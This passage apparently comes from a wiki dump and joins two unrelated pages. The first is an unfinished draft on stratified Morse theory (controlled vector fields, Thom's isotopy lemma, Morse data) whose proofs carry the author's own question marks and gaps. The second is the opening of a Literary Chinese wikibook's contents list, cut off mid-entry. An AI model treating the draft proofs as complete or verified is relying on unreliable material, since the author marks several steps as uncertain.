|T_Y|</math>, then<ref>Mather 2012, pp. 490.</ref> <math display="block">h \pi_0(m) = h \pi_Y \pi_0(m) = h \pi_Y(m) = h(m).</math> By the generalised tubular neighourhood theorem [prop 7.2?], we can replace <math display="inline">T_0</math> with a tubular neighbourhood <math display="inline">T</math> of <math display="inline">X</math> compatible with <math display="inline">h</math>. This completes the construction of <math display="inline">T_X</math>.<ref>Mather 2012, pp. 491.</ref> This makes <math display="inline">Z</math> an '''abstract stratified set''' with axioms...<ref>Mather 2012, pp. 491-492.</ref> This also makes <math display="inline">h</math> a '''controlled submersion''' because # <math display="inline">h|X: X \to \R</math> is a smooth submersion on each strata <math display="inline">X</math> of <math display="inline">Z</math>, and # for each stratum <math display="inline">X</math> there is a tubular neighbourhood <math display="inline">T'_X</math> such that <math display="inline">h(v) = h \pi_X(v)</math> for all <math display="inline">v \in T'_X</math>.<ref>Mather 2012, pp. 493.</ref> The core of this is the concept of a '''vector field'''. A vector field is a function which assigns, for each point <math display="inline">p</math> in a space, a '''vector''', which can be represented by an arrow whose tail starts at <math display="inline">p</math>.<ref>Henle 1979, pp. 33.</ref> [picture] Imagine we have a vector field <math display="inline">v(x)</math> defined in a space and draw a line through our space. At each point along this line the vector field assigns a vector. If we move each point in this line along the arrow defined by this vector in the direction of the arrow head. This "flows" the entire line along the vectors. [picture] We define a '''stratified vector field''' <math display="inline">\eta</math> on <math display="inline">Z</math> to be a family of smooth vector fields <math display="inline">\eta_X</math>, one for each strata <math display="inline">X</math> of <math display="inline">Z</math>.<ref>Mather 2012, pp. 493.</ref> We define a '''controlled vector field''' <math display="inline">\eta</math> on <math display="inline">Z</math> to be a stratified vector field such that for any strata <math display="inline">Y</math> there exists a tubular neighbourhood <math display="inline">T'_Y</math> such that for any <math display="inline">X > Y</math> and any <math display="inline">v \in T'_X \cap X</math><ref>Mather 2012, pp. 493.</ref> <math display="block">\eta_X \rho_{Y,X}(v) = 0,</math> <math display="block">(\pi_{Y,X})_* \eta_X(v) = \eta_Y (\pi_{Y,X}(v)).</math> We prove that if <math display="inline">h</math> is a controlled submersion then, for any smooth vector field <math display="inline">\zeta</math> on <math display="inline">\R</math> there is a controlled vector field <math display="inline">\eta</math> on <math display="inline">Z</math> such that <math display="inline">h_* \eta(v) = \zeta(h(v))</math> for all <math display="inline">v \in Z</math>.<ref>Mather 2012, pp. 493.</ref> Proceeding by induction on the maximum dimension of the strata of <math display="inline">Z</math>, we define <math display="inline">Z_k</math> to be the union of strata of <math display="inline">Z</math> of dimension at most <math display="inline">k</math>. The tubular neighbourhood of <math display="inline">Z_k</math> is the intersection of the tubular neighbourhoods of each strata in <math display="inline">Z_k</math> with <math display="inline">Z</math>. The projection and distance functions are the restrictions of the respective functions of <math display="inline">Z</math>. It is trivially true when the maximum dimension of strata in <math display="inline">Z</math> is zero. Assume it is true for <math display="inline">k</math> and construct each <math display="inline">\eta_X</math> separately for each stratum <math display="inline">X</math> of dimension <math display="inline">k + 1</math>. By the assumption that we have controlled vector fields for all strata <math display="inline">Y</math> of dimension at most <math display="inline">k</math>, we have the two control conditions defined above for any <math display="inline">X > Y</math> and that there is a neighbourhood <math display="inline">T^1_Y</math> such that <math display="inline">h(v) = h \pi_Y(v)</math> for <math display="inline">v \in T^1_Y</math>. We want to prove that for all <math display="inline">Y < X</math>, the control conditions are satisfied for all <math display="inline">v \in T^2_Y</math> and that <math display="inline">h_*\eta_X(v) = \zeta(v)</math> for all <math display="inline">v \in X</math>. Take a point <math display="inline">x \in X</math> and define the set <math display="inline">S_v</math> of strata <math display="inline">Y < X</math> such that <math display="inline">v \in T^2_Y</math>. <math display="inline">S_v</math> is totally ordered since if <math display="inline">Y_1</math> and <math display="inline">Y_2</math> are not comparable then <math display="inline">T^2_{Y_1} \cap T^2_{Y_2} = \empty</math>. Therefore, there is a largest member <math display="inline">Y = Y_v</math>. Assume the control conditions hold for <math display="inline">Y = Y_v</math>. Then they hold for all <math display="inline">Y_i \in S_v</math>. For, either <math display="inline">Y_i = Y</math> or <math display="inline">Y_i < Y</math>. In the latter case, <math display="inline">\pi_Y(v) \in T^1_{Y_i}</math> (by the choice of <math display="inline">T^2_Y</math>'s [is this why?]. Then <math display="block">\begin{align} \eta_X(v) \rho_{Y_i,X}(v) &= \eta_X \rho_{Y_i,Y} \pi_{Y,X}(v) \\ &= (\pi_{Y,X})_* \eta_X(v) \rho_{Y_i,Y} \\ &= \eta_Y(\pi_{Y,X}(v)) \rho_{Y_i,Y} \\ &= 0 \end{align}</math> and <math display="block">\begin{align} (\pi_{Y_i,X})_* \eta_X(v) &= (\pi_{Y_i,Y})_* (\pi_{Y,X})_* \eta_X(v) \\ &= (\pi_{Y_i,Y})_* \eta_Y(v) (\pi_{Y,X}) \\ &= \eta_{Y_i}(\pi_{Y_i,Y} \pi_{Y,X}(v)) \\ &= \eta_{Y_i}(\pi_{Y_i,X}(v)) \end{align}</math> and, therefore, condition holds for all <math display="inline">Y_i \in S_v</math>. Also, <math display="block">\begin{align} h_* \eta_X(v) &= (h \circ \pi_{Y,X})_* \eta_X(v) \\ &= h_* \eta_Y (\pi_{Y,X}(v)) \\ &= \zeta(f(v)) \end{align}</math> and, therefore, the conclusion of the theorem holds at <math display="inline">v</math>. This shows we can construct <math display="inline">\eta_X</math> satisfying the control conditions when <math display="inline">S_v</math> is non-empty and satisfying the theorem when <math display="inline">S_v</math> is empty. The set of vectors satisfying these conditions is convex in <math display="inline">TX_v</math>, and so we construct <math display="inline">\eta_X</math> globally via a partition of unity.<ref>Mather 2012, pp. 493-495.</ref> Finally, we prove that a controlled vector field has a unique one-parameter family of homeomorphisms of <math display="inline">Z</math> which commute with <math display="inline">h</math>.<ref>Mather 2012, this combines Proposition 10.1 and Corollary 10.2 on pp. 496 and 497, respectively.</ref> For each stratum <math display="inline">X</math> of <math display="inline">Z</math>, <math display="inline">\eta_X</math> generates a unique smooth local one-parameter group <math display="inline">(J_X, \alpha_X)</math> of diffeomorphisms of <math display="inline">X</math> (by standard results of differential geometry), such that <math display="inline">\frac{d}{dt} \alpha(t, v)|_{t=0} = \eta_X(v)</math>, <math display="inline">J_X</math> is an open subset of <math display="inline">\R \times Z</math>, ... If we define <math display="inline">(J, \alpha)</math> by <math display="block">J = \bigcup_{X \in S} J_X</math> <math display="block">\alpha = \bigcup_{X \in S} \alpha_X</math> we can prove that this is a local one-parameter family of homeomorphisms.<ref>Mather 2012, pp. 496.</ref> Firstly, it is clear that # <math display="inline">0 \times Z \subseteq J</math> and <math display="inline">\alpha(0, v) = v</math> for all <math display="inline">v \in Z</math>. # If <math display="inline">v \in Z</math> then <math display="inline">J_v = J \cap (\R \times v) \subseteq \R</math> is an open interval <math display="inline">(a_v, b_v)</math>, possibly infinite at one or both ends. # If <math display="inline">v \in Z</math> and <math display="inline">t, s, t + s</math> are in <math display="inline">(a_v, b_v)</math> then <math display="inline">\alpha(t + s, v) = \alpha(t, \alpha(s, v))</math>.<ref>Mather 2012, pp. 495.</ref> Secondly, it is clear that <math display="inline">\eta</math> generates <math display="inline">\alpha</math> because # Each stratum <math display="inline">X</math> of <math display="inline">Z</math> is invariant under <math display="inline">\alpha</math>, i.e. <math display="inline">\alpha[J \cap (\R \times X)] \subseteq X</math>. # For each <math display="inline">v \in Z</math>, the map <math display="inline">t \to \alpha(t, v)</math> of <math display="inline">(a_v, b_v)</math> into the stratum which contains <math display="inline">v</math> is <math display="inline">C^1</math>. # For any <math display="inline">(t, v) \in Z</math>(?) we have <math display="inline">d/dt \alpha(t, v) = \eta(\alpha(t, v))</math>.<ref>Mather 2012, pp. 495.</ref> It is unique because each <math display="inline">(J_X, \alpha_X)</math> is unique. We just need to prove that <math display="inline">J</math> is open, <math display="inline">\alpha</math> is continuous, and for any <math display="inline">v \in Z</math> and any compact set <math display="inline">K \subseteq Z</math> there exists <math display="inline">\epsilon > 0</math> such that <math display="inline">\alpha(t, v) \notin K</math> if <math display="inline">t \in (a_v, a_v + \epsilon) \cup (b_v - \epsilon, b_v)</math>.<ref>Mather 2012, pp. 495.</ref> For the latter-most condition, if it did not hold then there exists...<ref>Mather 2012, pp. 496-497.</ref> We prove there is a homeomorphism <math display="inline">f: Z \to h^{-1}(0) \times \R</math> such that <math display="inline">\pi \circ f = h</math>, where <math display="inline">\pi: h^{-1}(0) \times \R \to \R</math> is projection to the second factor. For the coordinate vector field <math display="inline">\partial</math> on <math display="inline">\R</math>, by [prop 9.1] there is a controlled vector field <math display="inline">\tilde\partial</math> such that <math display="inline">f_* \tilde\partial(v) = \partial(h(v))</math> for <math display="inline">v \in Z</math>. By [prop 10.1], <math display="inline">\tilde\partial</math> generates a local one-parameter group <math display="inline">(J, \alpha)</math> such that <math display="block">h(\alpha(t,v)) = h(v) + t</math> <math display="inline">h</math> is proper and [d] holds, so <math display="inline">J = \R \times Z</math>. If we define <math display="inline">f</math> as <math display="block">f(v) = (\alpha(-t, v), h(v))</math> then <math display="inline">f</math> maps <math display="inline">Z</math> into <math display="inline">h^{-1}(0) \times \R</math> and <math display="inline">\pi \circ f = h</math>. If we define <math display="inline">\bar f: h^{-1}(0) \times \R \to Z</math> as <math display="block">\bar f(v, t) = \alpha(t, v)</math> then <math display="inline">f \bar f = \bar f f = Id</math> and <math display="inline">f</math> is a homeomorphism.<ref>Mather 2012, pp. 497.</ref> == Topology at critical points == Theorem: If there is a critical point <math display="inline">p</math> in the singular variety <math display="inline">\mathcal{V}</math> with critical value <math display="inline">v \in (a, b)</math> then the space <math display="inline">X_{\leq b}</math> is homotopic to<ref>Goresky and MacPherson 1988, pp. 174.</ref> <math display="block">X_{\leq a} \cup [(D^{\lambda+1}, \partial D^{\lambda+1}) \times (\mathcal{L}_X, \partial \mathcal{L}_X)].</math> Proof:<ref>Proof outline comes from Goresky and MacPherson 1988, pp. 174.</ref> # <math display="inline">(X_{\leq b}, X_{\leq a})</math> is homeomorphic to <math display="inline">(X_{\leq v + \epsilon}, X_{\leq v -\epsilon})</math>. We can prove this by "moving wall" or Thom's Isotopy Lemma.<ref>Goresky and MacPherson 1988, pp. 90-91, 120.</ref> # <math display="inline">X_{\leq v + \epsilon}</math> is homeomorphic to <math display="inline">X_{\leq v - \epsilon} \cup (J, K)</math>, where the latter is the local Morse data for <math display="inline">h</math> at <math display="inline">p</math>. We do this by moving the wall...<ref>Goresky and MacPherson 1988, pp. 95-96, 120-121.</ref> # <math display="inline">(J, K)</math> is homeomorphic to <math display="inline">(D^{\lambda+1}, \partial D^{\lambda+1}) \times (\mathcal{L}_X, \partial \mathcal{L}_X)</math> (tangential data, normal data). Again, moving the wall...<ref>Goresky and MacPherson 1988, pp. 65-66, chapter 8, 121.</ref> # The normal Morse data depends only on the differential <math display="inline">df(p)</math>.<ref>Goresky and MacPherson 1988, pp. 93.</ref> # The normal Morse data has the homotopy type of <math display="inline">(\mathcal{L}_X, \partial \mathcal{L}_X)</math>.<ref>Goresky and MacPherson 1988, pp. 169.</ref> === Step 1 === We get this immediately(?) by Thom's Isotopy Lemma. === Step 2 === <ref>Goresky and MacPherson 1988, complex case on pp. 120-121 is extension of real case on pp. 95-96.</ref> We take our space <math display="inline">M</math> and map it onto <math display="inline">\R^2</math> with the map <math display="inline">F(z) = (r(z), h(z))</math>, where <math display="inline">z \in M</math> and <math display="inline">r</math> is the square of the distance of <math display="inline">z</math> to the critical point <math display="inline">p</math>. [graph of mapping] What we want is a homeomorphism in <math display="inline">M</math> between the space <math display="inline">Z_{\leq \epsilon}</math> and <math display="inline">Z_{\leq \epsilon} \cup B</math>, where <math display="inline">B</math> is a small region of the critical point <math display="inline">p</math> (or is the Local Morse data). [picture of the two subspaces of Z in M] We use our map <math display="inline">F</math> to convert these two subspaces to subspaces of <math display="inline">\R^2</math> which are of the form <math display="inline">Y_1 = \{(x,y) \in \R^2 | y \leq \epsilon\}</math> and <math display="inline">Y_0 = \{(x,y) \in \R^2 | y \leq -\epsilon\} \cup \{(x,y) \in \R^2 | x \leq \delta, y \leq \epsilon\}</math>, such that <math display="inline">Z_{\leq \epsilon} = F^{-1}(Y_1)</math> and <math display="inline">Z_{\leq \epsilon} \cup B = F^{-1}(Y_0)</math>.<ref>Goresky and MacPherson 1988, pp. 95-96.</ref> We use a homeomorphism between <math display="inline">Y_1</math> and <math display="inline">Y_0</math> using the technique of "moving the wall" and Thom's Isotopy Lemma.<ref>Goresky and MacPherson 1988, chapter 4, particularly pp. 71-72.</ref> For the composition <math display="block">Z \times \R \subset M \times \R \to_{F \times I} Y \subset \R^2 \times \R \to_{\pi} \R</math> where <math display="inline">Y(t, z) = Y_t(z)</math>, <math display="inline">I</math> is the identity and <math display="inline">\pi</math> is projection to the second factor. <math display="inline">Z \times \R</math> is transverse to <math display="inline">(F \times I)^{-1}(Y)</math>... The composition <math display="inline">\pi \circ (F \times I): Z \times \R \cap (F \times I)^{-1}(Y) \to \R</math> is a stratified submersion... Therefore, we can apply Thom's Isotopy Lemma which says there is a homeomorphism between the level sets of <math display="inline">Z \times \R</math>...<ref>Goresky and MacPherson 1988, pp. 72.</ref> == Morse theory == Steps(?) * Explain topology * Every point of a stratum is locally like a product structure (proved by Thom's Isotopy Lemma) [GM pp. 41-42] ** Including those around critical points, which are the product of normal and tangential Morse data (these are our quasi-local cycles?) * Thom's Isotopy Lemma proves a strong deformation retraction (which only stops at critical points) [PWM pp. 541-542] === Homotopy === We want to replace our domain of convergence <math display="inline">M</math>, which is the complement of our singular variety <math display="inline">\mathcal{V}</math>, with an "equivalent" space <math display="inline">M'</math> which has better understood properties. We say "equivalent" because there are several different things we could mean by "equivalent" in this context. The equivalence we are referring to in this section is called '''homotopy'''. Imagine two subspaces <math display="inline">\gamma_0</math> and <math display="inline">\gamma_1</math> of a space <math display="inline">Y</math> which are defined respectively by smooth functions <math display="inline">f, g: X \to Y</math>. If there exists a smooth function <math display="inline">h_s: X \times [0, 1] \to Y</math>, called a homotopy, such that <math display="inline">h_0 = f</math>, <math display="inline">h_1 = g</math> and for any <math display="inline">\epsilon > 0</math> there exists a <math display="inline">\delta_a</math> and <math display="inline">\delta_b</math> such that when <math display="inline">|s - s_0| < \delta_a</math> and <math display="inline">|x - x_0| < \delta_b</math> we have <math display="inline">|h_s(x) - h_{s_0}(x_0)| < \epsilon</math>, then we say <math display="inline">\gamma_0</math> and <math display="inline">\gamma_1</math> are '''homotopic'''.<ref>Henle 1979, pp. 251-252.</ref> Below is an example where <math display="inline">\gamma_0</math> and <math display="inline">\gamma_1</math> are one-dimensional curves and <math display="inline">H(t, s) = h_s(t)</math>. [[File:Homotopy_curves.png|300px]] In [[#Homotopy_equivalence|Appendix A]], we formally prove that we can construct an equivalent space <math display="inline">M'</math>. We provide only an example to give some intuition before describing how to construct the space <math display="inline">M'</math> in terms of local cycles around critical points. === Motivating example === Imagine a torus and a height function which is just the z value of the point. [[File:3D-Leveltorus.png|200px]] It has four critical points: two at the top and bottom of the outer circle (<math display="inline">p_1, p_4</math>) and two at the top and bottom of the inner circle (<math display="inline">p_2, p_3</math>). [picture] When the height is between the <math display="inline">p_1</math> and <math display="inline">p_2</math>, the space is a two-cell, which can be retracted to a point. [picture] When the height is between <math display="inline">p_2</math> and <math display="inline">p_3</math>, the space is a cylinder, which can be retracted to a two-cell with a one-cell attached. [[File:3D-Cylinder_and_disk_with_handle.png|200px]] When the height is between <math display="inline">p_3</math> and <math display="inline">p_4</math>, the space is a torus with a disc removed, which can be retracted to a cylinder with a one-cell attached. [[File:3D-Cylinder_with_handle_and_torus_with_hole.png|200px]] When the height is greater than <math display="inline">p_4</math>, then the full torus is constructed by attaching a two-cell. [Explain in terms of Morse data and Morse index?] === Morse data and quasi-local cycles === As in the above example, we start at the "bottom" of <math display="inline">M</math> and build upwards until just before we reach our first critical point <math display="inline">p</math>. ;Smooth points :This is a tube around a <math display="inline">(d-1)</math>-chain <math display="inline">\gamma</math> where the height function <math display="inline">h</math> is maximised at <math display="inline">p</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 223.</ref> :For example, if <math display="inline">F(x, y) = \frac{1}{1 - x - y}</math> then <math display="inline">\lambda = 1</math> and <math display="inline">B^\lambda</math> is an arc reaching its highest point at <math display="inline">p</math>. :The normal plane <math display="inline">N</math> at <math display="inline">p</math> is a plane orthogonal to <math display="inline">B^1</math>(?). :Its normal link <math display="inline">L(S)</math> is a circle with two points missing where it intersects <math display="inline">\mathcal{V}</math>. :We make our quasi-local cycle out of the product of the arc and circle joined to <math display="inline">M_-</math> at points below <math display="inline">M_-</math>. :With the exception of degenerate points, such as monkey saddles...<ref>e.g. Pemantle, Wilson and Melczer 2024, pp. 211.</ref> ;Transverse multiple points :This is the product of a <math display="inline">k</math>-torus and a <math display="inline">(d-k)</math>-chain <math display="inline">\gamma</math>. The torus is the product of circles about <math display="inline">p</math> in the complex normal space to each strata which intersects <math display="inline">p</math>. The chain <math display="inline">\gamma</math> is supported in the stratum which is the common intersection of the varieties defined by the factors vanishing at <math display="inline">p</math>, and achieves its maximum height at <math display="inline">p</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 223-224.</ref> ;Arrangement multiple point :This is the product of a <math display="inline">(d-k)</math>-chain <math display="inline">\gamma</math> and several <math display="inline">k</math>-tori, one for each pair of sheets which intersect transversely, where the torus is the product of circles about <math display="inline">p</math> in each sheet.<ref>Pemantle, Wilson and Melczer 2024, pp. 226.</ref> ;Cone point :A cone point is zero-dimensional so there is no <math display="inline">\gamma</math>, just a <math display="inline">d</math>-torus about <math display="inline">p</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 227.</ref> == Appendix == === Homotopy equivalence === [Assuming no CVAI...] Theorem: # Homotopy equivalence between M_{\leq a} and M_{\leq b}... # If in a range <math display="inline">[a, b]</math> there are no CVAI and only one critical value <math display="inline">c</math>, not equal to either <math display="inline">a</math> or <math display="inline">b</math>, with one or more critical points <math display="inline">z_1, \cdots, z_m</math> then there is a stratified flow deforming any chain in <math display="inline">M</math> to a (homotopic?) chain in the union of <math display="inline">M_{<c}</math> with sufficiently small balls around each critical point. This induces a homotopy between <math display="inline">(M_{c+\epsilon}, M_{c-\epsilon})</math> and the direct sum of <math display="inline">(M_{c-\epsilon} \cup B_{2\epsilon}(z_i), M_{c-\epsilon})</math> for each critical point <math display="inline">z_i</math>.<ref>Pemantle, Wilson and Melczer 2024, pp. 231.</ref> The core of this is the concept of a '''vector field'''. A vector field is a function which assigns, for each point <math display="inline">p</math> in a space, a '''vector''', which can be represented by an arrow whose tail starts at <math display="inline">p</math>.<ref>Henle 1979, pp. 33.</ref> [picture] Imagine we have a vector field <math display="inline">v(x)</math> defined in a space and draw a line through our space. At each point along this line the vector field assigns a vector. If we move each point in this line along the arrow defined by this vector in the direction of the arrow head. This "flows" the entire line along the vectors. We can (potentially) define a function to implement this flow. Define <math display="inline">\Phi(x, t)</math> where <math display="inline">x</math> are points in the space and <math display="inline">t</math> is something like time. As <math display="inline">t</math> goes from zero to some positive number, <math display="inline">\Phi</math> moves the points <math display="inline">x</math> along the vectors. To describe this process formally, we say <math display="inline">\Phi</math> is the solution to the differential equation <math display="block">\frac{d}{dt} \Phi(x, t) = v(x).</math> We want a particular vector field <math display="inline">v</math> with certain properties... The proof of the existence of this vector field is long and complicated and we will not go into it here.<ref>It involves concepts such as Thom's isotopy lemma and Mather's controlled vector flows. See Mather 2012.</ref> Using this vector field <math display="inline">v</math> but modified so as to be zero on <math display="inline">M_{\leq a}</math>. This vector field defines a function <math display="inline">\Phi(x, t)</math> such that * <math display="inline">d/dt \Phi(x, t) = v(x)</math> when <math display="inline">h(x) \in (a, b]</math>. * <math display="inline">\Phi(x, t)</math> is defined for <math display="inline">0 \leq t \leq h(x) - a</math> and in this range <math display="inline">h(\Phi(x, t)) = h(x) - t</math>. * the map <math display="inline">\psi(x) = \Phi(x, b - a)</math> is a continuous map on <math display="inline">M_{\leq b}</math> with range (image?) <math display="inline">M_{\leq a}</math> and fixing <math display="inline">M_{\leq a}</math>. The function <math display="inline">\Phi(x, 0)</math> is the identity on <math display="inline">M_{\leq b}</math> and <math display="inline">\Phi(x, b - a) = \psi(x)</math>, therefore <math display="inline">\Phi</math> in the range <math display="inline">[0, b - a]</math> is a homotopy between the identity on <math display="inline">M_{\leq b}</math> and <math display="inline">\psi</math>. This implies 1)???<ref>Pemantle, Wilson and Melczer 2024, pp. 233.</ref> Define the distance from a critical point <math display="inline">\kappa(x) = \min\{ |x - z_i| : z_1, \cdots, z_m \}</math>. For <math display="inline">s > 0 </math> we define a new vector field <math display="block">v_s(x) = \begin{cases} v(x) & \kappa(x) \geq s \\ \rho(\kappa(x)) v(x) & \kappa(x) \in [s/2, s] \\ 0 & \kappa(x) \leq s/2 \end{cases}</math> for a smooth non-decreasing function <math display="inline">\rho</math> where <math display="inline">\rho(s/2) = 0</math>. Define <math display="inline">\Phi_s</math> as the function such that <math display="inline">d/dt \Phi(x, t)_s = v_s(x)</math>. The height function <math display="inline">h</math> is non-increasing along <math display="inline">\Phi_s</math> (by implication of bullet point 2?) so points in <math display="inline">M_{\leq c-\epsilon}</math> stay in <math display="inline">M_{\leq c - \epsilon}</math> when flowed along <math display="inline">\Phi_s</math> and therefore <math display="inline">\Phi_s</math> is a homotopy equivalence between <math display="inline">(M_{\leq c+\epsilon}, M_{\leq c-\epsilon})</math> and <math display="inline">(\Phi(M_{\leq c+\epsilon}, 2\epsilon), M_{\leq c-\epsilon})</math>. By <math display="inline">\Phi(M_{\leq c+\epsilon}, 2\epsilon)</math> we mean the space <math display="inline">M_{\leq c+\epsilon}</math> flowed along <math display="inline">\Phi(x, t)</math> for a short period of time <math display="inline">2\epsilon</math>. [Prove it has the same critical points and is proper?] <math display="inline">\Phi(M_{\leq c+\epsilon}, 2\epsilon)</math> takes points in <math display="inline">M_{\leq c+\epsilon}</math> to <math display="inline">M_{\leq c-\epsilon}</math> except for those that come within <math display="inline">s</math> of a critical point within time <math display="inline">2\epsilon</math>. Therefore, we see how we <math display="inline">\Phi_s</math> can homotopically deform a chain in <math display="inline">M_{\leq c+\epsilon}</math> to a chain in the union of <math display="inline">M_{\leq c-\epsilon}</math> and small neighbourhoods of critical points.<ref>Pemantle, Wilson and Melczer 2024, pp. 234-235.</ref> On the assumption of this theorem, we can start with any chain in <math display="inline">M</math> and deform this chain to <math display="inline">M_{c_1+}</math> using part 1. Then we deform this chain to a chain in the union of <math display="inline">M_{c_1-}</math> and small balls around the critical points. The (sub?)chain in <math display="inline">M_{c_1-}</math> is then deformed to a chain in <math display="inline">M_{c_2+}</math>, which is deformed to a chain in <math display="inline">M_{c_2-} \cup z_{c_2}</math>, and so on. Eventually, we get to <math display="inline">M_{c_j-}</math> which is homotopic to any space "below" it. Therefore, we have deformed our chain in <math display="inline">M</math> to a homotopic chain in the union of small balls around critical points.<ref>Baryshnikov, Melczer and Pemantle 2022, pp. ???.</ref><ref>Pemantle, Wilson and Melczer 2024, pp. 217???</ref> [Direct sum of homology generators for relative cycles] == Notes == {{Reflist}} == References == * {{citation | last1=Baryshnikov | first1=Yuliy | last2=Melczer | first2=Stephen | last3=Pemantle | first3=Robin | title=Stationary Points at Infinity for Analytic Combinatorics | year=2022 | journal=Foundations of Computational Mathematics | volume=22 | number=5 | pages=1631-1664 | url=https://www2.math.upenn.edu/~pemantle/papers/SPAI-published-version.pdf }}. * {{cite book | last1=Goresky | first1=Mark | last2=MacPherson | first2=Robert | title=Stratified Morse Theory | publisher=Springer-Verlag | year=1988 | url=https://www.math.ias.edu/~goresky/pdf/SMT.djvu }} * {{cite book | last=Henle | first1=Michael | title=A Combinatorial Introduction to Topology | publisher=Dover Publications Inc. New York | year=1979 }} * {{citation | last=Mather | first=John | title=Notes on Topological Stability | year=2012 | journal=Bulletin of the American Mathematical Society | volume=49 | number=4 | pages=475-506 | url=https://www.ams.org/journals/bull/2012-49-04/S0273-0979-2012-01383-6/S0273-0979-2012-01383-6.pdf }}. * {{cite book | last1=Pemantle | first1=Robin | last2=Wilson | first2=Mark C. | last3=Melczer | first3=Stephen | title=Analytic Combinatorics in Several Variables | publisher=Cambridge University Press | year=2024 | edition=2nd | url=https://acsvproject.com/PemantleWilsonMelczer23.pdf }} gt9d9kmwr24j70fsmm211alyhnzzvjj 0 481710 4670703 4670424 2026-09-17T18:49:17Z Shira the Mogul 3560559 shinto wasn't being treated too well here, and I talked to a miko who wants to learn it. soooo here we are. 4670703 wikitext text/x-wiki __notoc__ Welcome to the Wikibook for Literary Chinese (Known as 漢文 "Han Language" in East Asia or 文言 "Literary Language" in China), aimed at individuals hoping to gain a general knowledge of it before progressing into genres they wish to be acquainted with. This is not the [[Classical Chinese]] textbook, which is aimed at Chinese Zhou-Qin era texts. This text aims to shed light on post-Zhou-Qin texts across East Asia, which mimic those texts. However, as Zhou-Qin era texts served as the main body from which individuals learned, they are employed here as and when they are considered necessary or otherwise useful. It does so through a "buffet" approach, showering you, the reader, with an ocean of texts of myriad genre. ==Table of Contents== === Front matter === * [[/Introduction/]] * [[/Appendices/]] === Useful resources === These are quick grab-bags that can be useful for vocabulary-building. * [[/Antonym List/]] <!--- 文/武，大/小，厚/薄，橫/縱...---> * [[/Collocation Groups/]] <!--- e.g. 四象，三靈…… ---> * [[/Pronoun Table/]] * [https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/嚴譯及部定詞等 Yan Fu's Qing-era translations for modern terms] <!--- Wikiversity has this (https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/嚴譯及部定詞等) and the below, I will effectively be translating a lot of it! ---> * [https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/上古語考輯 Communicative Terms] <!--- this will be translated eventually, but right now it's bad to just leave this here. ---> === Useful primers === Across history, many primers have been made for teaching Literary Chinese to children. These are a few that are recommended for use alongside this work, ideally in flashcards. * [https://www.fdgwz.org.cn/Web/Show/11308 倉頡篇] - Cangjie's Chapters, the earliest one. It is extant, but incomplete. It contains several rare characters, and so if used, I would personally recommend doing so later, or out of interest. * 三字經 - The Three Character Classic, an excellent piece for Confucian education. Pair with 弟子规 for best results. ** 三字經（太平天國版）- For Christians, there is a version made by Hong Xiuquan from the Taiping Rebellion. Despite the context, it is a legitimately useful primer and can be used to self-teach for the Delegate's Edition of the Christian Bible. * 千字文 - The Thousand Character Classic, a remarkable piece of constrained writing that only uses each character once. Amazing for building vocabulary whilst seeing historical allusions and the like. * 五字鑑 - The Five-Character Mirror, essentially the 24 Histories of China compressed into a primer. Uses 5-character couplets, the longest in this list. * 龍文鞭影 - The Shadow of Longwen's Whip, a historical allusion trainer. Best paired with a context piece. ===Unit 0: The Han script=== This unit is intended for those with no familiarity of the Han script. It will prepare you for the units ahead, teaching largely pictographic characters. By the end of this unit, students will: * Recognise around 50 characters. * Understand how characters are composed and how this gives them meaning. * Have a basic idea of how to handwrite and/or type characters using the Cangjie Input Method. * Know some bare basics of Literary Chinese grammar (e.g. Basic word order, where adjectives go, lack of "is", 有...) Lessons: # [[/An Introduction to the Han Script/]] # [[/People, Big and Small/]] # [[/How do we write Chinese?/]] # [[/What are Chinese characters, anyway?/]] # [[/The Sun, the Moon, and the Five Elements/]] # [[/Getting Familiar with Body Parts/]] # [[/Using Numbers and Using Weapons/]] <!--- 竹戈十大中一弓廿卜---> # [[/Tilling the Fields with 有/]] <!--- 山田 ---> # [[/How Characters are Made/|How Characters are Made with Kiyohara no Sanemoto]] # [[/Cangjie Created Characters/]] <!--- Get people to use Cangjie ---> # [[/The Kangxi Radical System/]] <!--- Introduce some monoradical texts to train recognition. ---> ===Unit 1: Basic Skills=== This unit is intended for those with minimal familiarity with the Han script and no familiarity with Literary Chinese. There is a focus on simple structures, skills for dissecting common textual structures, and short-form poetry in this unit. Before starting this unit, students should: * Recognise around ~30 characters. * Can use Cangjie input. * Have given Unit 0 a cursory glance. <br> By the end of this unit, students will: * Recognise around ~100 characters. * Comprehend numbers, the Heavenly Stems, and the Earthly Branches, and be able to use them to quantify time and date. * Intuit the basic topic -> comment idea behind Literary Chinese. "This, it is..." * Understand basic function words such as 也, 而, 有, and 謂. Lessons: # [[/The All-Purpose 也/]] # [[/An Introduction to Chinese Numbers/]] # [[/One, Two, Left, and Right with Gongsun Long/]] # [[/The Heavenly Stems/]] # [[/Tell the Time with Earthly Branches/]] # [[/How Much Time, Exactly?/]] # [[/Lunar Dates with the Spring and Autumn Annals/]] # [[/Scanning for Major Events in Historical Annals/]] # [[/Dinner with the Daimyo/]] # [[/In Discourse with Jibong/]] # [[/How do we Write Height and Weight?/]] # [[/Eating like a Zhou Aristocrat/]] <!--- Some cool stuff I saw someone studying from https://zh.wikisource.org/wiki/%E8%87%B3%E5%B0%8F%E4%B8%98%E8%A5%BF%E5%B0%8F%E7%9F%B3%E6%BD%AD%E8%A8%98# https://zh.wikisource.org/wiki/%E6%A0%B8%E8%88%9F%E8%A8%98 Could be used for period focus ---> ===Unit 2: An Overview of Sinitic Poetry=== This unit will teach you how Sinitic Poetry operates; - that is, the way individuals in the Sinosphere compose poetry in Literary Chinese. Despite this language's fall out of favour in the past century, this tradition is still remarkably alive and well, and their short length makes them more accessible than elaborate prose. In this unit, you will begin from the ''Classic of Poetry'' before travelling through poems from the Tang dynasty, Singapore, Japan, Vietnam, the Ryukyu Kingdom, and Korea. When introducing poetry, I will furthermore use the language from the nation it is from to show how it is recited by its people. After discussing the Classic of Poetry, we will also be a small detour into a discussion on Ping-Ze 平仄, the Tang dynasty system of alternating tones, so to produce rhyme on tonal and phonological levels. This had a major impact on Literary Chinese poetry as a whole! By the end of this Unit, students will: * Recognise around 120 more characters. * Be able to explain how Sinitic Poetry rhymes and the themes it contains. * Be able to use function words such as 在, 無, 不, 聿, and 于/於 in poetic contexts. * 